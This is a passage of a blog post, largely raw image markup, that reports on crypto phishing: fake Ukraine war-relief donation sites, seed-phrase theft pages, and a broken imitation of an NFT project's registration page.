https://substackcdn.com/image/fetch/$s_!bDAo!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8820513-383a-4cc9-bc83-13f0d860cd21_360x800.jpeg 848w, https://substackcdn.com/image/fetch/$s_!bDAo!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8820513-383a-4cc9-bc83-13f0d860cd21_360x800.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!bDAo!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8820513-383a-4cc9-bc83-13f0d860cd21_360x800.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>At this point, one might follow the account and forget about it until a few days later when this familiar scheme appears in a story posted by Vitalik, and the rest is history.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!hvFn!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2cc5aa92-2b0d-44ca-9a0f-544b35c85a02_360x800.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!hvFn!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2cc5aa92-2b0d-44ca-9a0f-544b35c85a02_360x800.jpeg 424w, https://substackcdn.com/image/fetch/$s_!hvFn!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2cc5aa92-2b0d-44ca-9a0f-544b35c85a02_360x800.jpeg 848w, https://substackcdn.com/image/fetch/$s_!hvFn!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2cc5aa92-2b0d-44ca-9a0f-544b35c85a02_360x800.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!hvFn!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2cc5aa92-2b0d-44ca-9a0f-544b35c85a02_360x800.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!hvFn!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2cc5aa92-2b0d-44ca-9a0f-544b35c85a02_360x800.jpeg" width="360" height="800" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/2cc5aa92-2b0d-44ca-9a0f-544b35c85a02_360x800.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:800,&quot;width&quot;:360,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!hvFn!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2cc5aa92-2b0d-44ca-9a0f-544b35c85a02_360x800.jpeg 424w, https://substackcdn.com/image/fetch/$s_!hvFn!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2cc5aa92-2b0d-44ca-9a0f-544b35c85a02_360x800.jpeg 848w, https://substackcdn.com/image/fetch/$s_!hvFn!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2cc5aa92-2b0d-44ca-9a0f-544b35c85a02_360x800.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!hvFn!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2cc5aa92-2b0d-44ca-9a0f-544b35c85a02_360x800.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Recently, we have seen a scam with a similar flavor, but much darker. Fake websites that claim to be raising crypto funds to provide Ukraine with war relief:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!g82_!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9af7faf0-622d-4862-9937-88ecee6e0aa8_800x600.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!g82_!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9af7faf0-622d-4862-9937-88ecee6e0aa8_800x600.jpeg 424w, https://substackcdn.com/image/fetch/$s_!g82_!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9af7faf0-622d-4862-9937-88ecee6e0aa8_800x600.jpeg 848w, https://substackcdn.com/image/fetch/$s_!g82_!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9af7faf0-622d-4862-9937-88ecee6e0aa8_800x600.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!g82_!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9af7faf0-622d-4862-9937-88ecee6e0aa8_800x600.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!g82_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9af7faf0-622d-4862-9937-88ecee6e0aa8_800x600.jpeg" width="800" height="600" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/9af7faf0-622d-4862-9937-88ecee6e0aa8_800x600.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:600,&quot;width&quot;:800,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!g82_!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9af7faf0-622d-4862-9937-88ecee6e0aa8_800x600.jpeg 424w, https://substackcdn.com/image/fetch/$s_!g82_!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9af7faf0-622d-4862-9937-88ecee6e0aa8_800x600.jpeg 848w, https://substackcdn.com/image/fetch/$s_!g82_!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9af7faf0-622d-4862-9937-88ecee6e0aa8_800x600.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!g82_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9af7faf0-622d-4862-9937-88ecee6e0aa8_800x600.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">ukrainethereum\.com</figcaption></figure></div><div><hr></div><p>For &gt;90% of the crypto phishing pages that we see, the mechanics are nearly identical and low tech: Emulate the target brand, ask the victim to connect their wallet, and prompt for the seed phrase:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!048C!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F676c2935-128a-45e4-881a-688eb4c664ff_1000x494.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!048C!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F676c2935-128a-45e4-881a-688eb4c664ff_1000x494.png 424w, https://substackcdn.com/image/fetch/$s_!048C!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F676c2935-128a-45e4-881a-688eb4c664ff_1000x494.png 848w, https://substackcdn.com/image/fetch/$s_!048C!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F676c2935-128a-45e4-881a-688eb4c664ff_1000x494.png 1272w, https://substackcdn.com/image/fetch/$s_!048C!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F676c2935-128a-45e4-881a-688eb4c664ff_1000x494.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!048C!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F676c2935-128a-45e4-881a-688eb4c664ff_1000x494.png" width="1000" height="494" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/676c2935-128a-45e4-881a-688eb4c664ff_1000x494.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:494,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!048C!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F676c2935-128a-45e4-881a-688eb4c664ff_1000x494.png 424w, https://substackcdn.com/image/fetch/$s_!048C!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F676c2935-128a-45e4-881a-688eb4c664ff_1000x494.png 848w, https://substackcdn.com/image/fetch/$s_!048C!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F676c2935-128a-45e4-881a-688eb4c664ff_1000x494.png 1272w, https://substackcdn.com/image/fetch/$s_!048C!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F676c2935-128a-45e4-881a-688eb4c664ff_1000x494.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>But somewhat surprisingly, this is often haphazardly done:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!5_TV!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe62d2c5c-ef8d-4521-a02b-9dc0167c44bb_398x665.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!5_TV!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe62d2c5c-ef8d-4521-a02b-9dc0167c44bb_398x665.png 424w, https://substackcdn.com/image/fetch/$s_!5_TV!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe62d2c5c-ef8d-4521-a02b-9dc0167c44bb_398x665.png 848w, https://substackcdn.com/image/fetch/$s_!5_TV!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe62d2c5c-ef8d-4521-a02b-9dc0167c44bb_398x665.png 1272w, https://substackcdn.com/image/fetch/$s_!5_TV!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe62d2c5c-ef8d-4521-a02b-9dc0167c44bb_398x665.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!5_TV!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe62d2c5c-ef8d-4521-a02b-9dc0167c44bb_398x665.png" width="398" height="665" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e62d2c5c-ef8d-4521-a02b-9dc0167c44bb_398x665.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:665,&quot;width&quot;:398,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!5_TV!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe62d2c5c-ef8d-4521-a02b-9dc0167c44bb_398x665.png 424w, https://substackcdn.com/image/fetch/$s_!5_TV!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe62d2c5c-ef8d-4521-a02b-9dc0167c44bb_398x665.png 848w, https://substackcdn.com/image/fetch/$s_!5_TV!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe62d2c5c-ef8d-4521-a02b-9dc0167c44bb_398x665.png 1272w, https://substackcdn.com/image/fetch/$s_!5_TV!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe62d2c5c-ef8d-4521-a02b-9dc0167c44bb_398x665.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>The funny thing is that this type of incompetence is splashing around all over the place when it comes to Web3 phishing. Take for example this website that we recently saw go live:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!RJrP!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4fdf65d0-c4d3-4d52-9fa1-9a00c17d9dc3_1000x792.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!RJrP!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4fdf65d0-c4d3-4d52-9fa1-9a00c17d9dc3_1000x792.png 424w, https://substackcdn.com/image/fetch/$s_!RJrP!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4fdf65d0-c4d3-4d52-9fa1-9a00c17d9dc3_1000x792.png 848w, https://substackcdn.com/image/fetch/$s_!RJrP!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4fdf65d0-c4d3-4d52-9fa1-9a00c17d9dc3_1000x792.png 1272w, https://substackcdn.com/image/fetch/$s_!RJrP!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4fdf65d0-c4d3-4d52-9fa1-9a00c17d9dc3_1000x792.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!RJrP!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4fdf65d0-c4d3-4d52-9fa1-9a00c17d9dc3_1000x792.png" width="1000" height="792" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/4fdf65d0-c4d3-4d52-9fa1-9a00c17d9dc3_1000x792.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:792,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!RJrP!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4fdf65d0-c4d3-4d52-9fa1-9a00c17d9dc3_1000x792.png 424w, https://substackcdn.com/image/fetch/$s_!RJrP!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4fdf65d0-c4d3-4d52-9fa1-9a00c17d9dc3_1000x792.png 848w, https://substackcdn.com/image/fetch/$s_!RJrP!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4fdf65d0-c4d3-4d52-9fa1-9a00c17d9dc3_1000x792.png 1272w, https://substackcdn.com/image/fetch/$s_!RJrP!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4fdf65d0-c4d3-4d52-9fa1-9a00c17d9dc3_1000x792.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Visually, it&#8217;s a nicely done fake of the registration page for the &#8220;Gangster All Star&#8221; NFT project found here -&gt; </p><p>https://register.gangsterallstar.com/</p><p>, but unfortunately for the folks behind the scheme, it doesn&#8217;t even work due to CORS issues with the implementation.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!OzMc!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe2b75919-086a-49cb-ab4b-49959b55de87_1000x165.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!OzMc!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe2b75919-086a-49cb-ab4b-49959b55de87_1000x165.png 424w, https://substackcdn.com/image/fetch/$s_!OzMc!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe2b75919-086a-49cb-ab4b-49959b55de87_1000x165.png 848w, 